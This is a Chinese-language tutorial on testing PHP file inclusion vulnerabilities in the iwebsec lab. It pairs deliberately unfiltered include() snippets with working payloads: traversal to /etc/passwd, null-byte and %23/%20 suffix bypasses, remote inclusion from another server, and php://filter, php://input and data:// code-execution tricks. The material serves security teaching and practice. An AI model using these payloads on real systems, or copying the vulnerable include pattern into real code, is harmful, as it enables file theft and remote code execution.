Web安全:文件包含漏洞测试.
文件包含的漏洞是 程序员在开发网站的时候,为了方便自己开发构架,使用了一些包含的函数(比如:php开发语言,include() , include_once() , require_once() 等等 ),而且包含函数中的变量,没有做一些过滤或者限制,使得用户可以 控制传到服务器中的数据,导致文件包含漏洞。
目录:
Web安全:文件包含漏洞测试.
文件包含漏洞的执行规则:
文件包含漏洞测试:
(1)本地文件包含.
(2)本地文件包含绕过.
(3)远程文件包含.
(4)远程文件包含绕过.
(5)php // filter 伪协议.
(6)php // input 伪协议.
(7)file:// 伪协议利用.
(8)data:// 伪协议.
文件包含漏洞的执行规则:
文件包含漏洞可以怎么理解,就是一个 A 文件包含着另一个 B 文件,将包含着 B 文件里面的内容,
以这个网站的脚本代码 去执行(如果你的网站是php就是php去执行文件里面的内容,如果你的网站是
python,那就是python去执行文件里面的内容)
测试使用的靶场是:iwebsec 靶场
搭建过程:https://tianyuk.blog.csdn.net/article/details/130341391
文件包含漏洞测试:
(1)本地文件包含.
原理:本地文件包含是通过浏览器包含Web服务器上的文件,这种漏洞是因为浏览器包含文件时没有
进行严格的过滤,导致允许遍历目录的字符注入浏览器中,然后进行执行.
代码审计:
<?php
if(isset($_GET['filename'])){ // 可以查看没有进行任何过滤
$filename = $_GET['filename'];
include($filename);
}else{
exit();
}
?>
测试代码:(读取服务器中的 test.tst 文件,然后成功执行了文件中的代码.)
?filename=test.txt
测试代码:(如果不知道,服务器中的文件在哪,则使用../../../../../)(可以多加几个../)
然后再重新从一个文件,一步一步进行查看.
?filename=../../../../../etc/passwd
(2)本地文件包含绕过.
代码审计:
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename . ".html"); //可以看见只能使用指定后缀.(.html)
}else{
exit();
}
?>
绕过限制指定后缀的方法:使用(%00)进行截断.
测试代码:
?filename=test.txt%00
测试代码:
?filename=../../../../../etc/passwd%00
(3)远程文件包含.
远程文件包含就是通过URL的形式包含的其他服务器上面的文件,从而使目标主机执行恶意代码攻击.
代码审计:
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename); //可以看见没有任何过滤,可以直接远程包含攻击
}else{
exit();
}
?>
测试代码:(添加另一个服务器的文件链接)
?filename=http://192.168.0.105:801/bgxg.txt
(4)远程文件包含绕过.
代码审计:
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename . ".html"); //可以看见只能使用指定后缀.(.html)
}else{
exit();
}
?>
绕过限制指定后缀的方法:
(1) # 绕过 (%23)
(2) 空格 绕过 (%20)
测试代码:(添加另一个服务器的文件链接)(加 %23 【#】进行绕过限制)
?filename=http://192.168.0.105:801/bgxg.txt%23
测试代码:(添加另一个服务器的文件链接)(加 空格 【%20】进行绕过限制)
?filename=http://192.168.0.105:801/bgxg.txt%20
(5)php // filter 伪协议.
php://filter 是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,常用于读取文件.
代码审计:
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename); //可以看见没有任何过滤
}else{
exit();
}
?>
测试代码:
?filename=php://filter/convert.base64-encode/resource=文件路径
(6)php // input 伪协议.
php//input任意代码执行;这种伪协议用于读取原始的 HTTP POST 数据,可以用于处理上传的文件和表单数据.
代码审计:
代码 1: (如果是 GET 方式,php://input 就可以用了)
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename); //可以看见没有任何过滤
}else{
exit();
}
?>
代码 2:(如果是 POST 方式,php://input 就不能用了)
<?php
echo file_get_contents("php://input");
?>
测试代码:
?filename=php://input
<?php phpinfo(); ?> //显示服务器信息.
(7)file:// 伪协议利用.
代码审计:
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}else{
exit();
}
?>
测试代码:(?filename=file:///文件路径)
?filename=file:///etc/passwd
(8)data:// 伪协议.
主要用于数据流的读取,如果传入的数据是PHP代码,就会执行任意代码.
?filename=data://text/plain;base64,(base64编码后数据)
<?php phpinfo();?> base64编码后 PD9waHAgcGhwaW5mbygpOz8+
base64编码 在线工具:https://c.runoob.com/front-end/693/
然后再把 + url编码 变为 %2b
测试代码:
?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b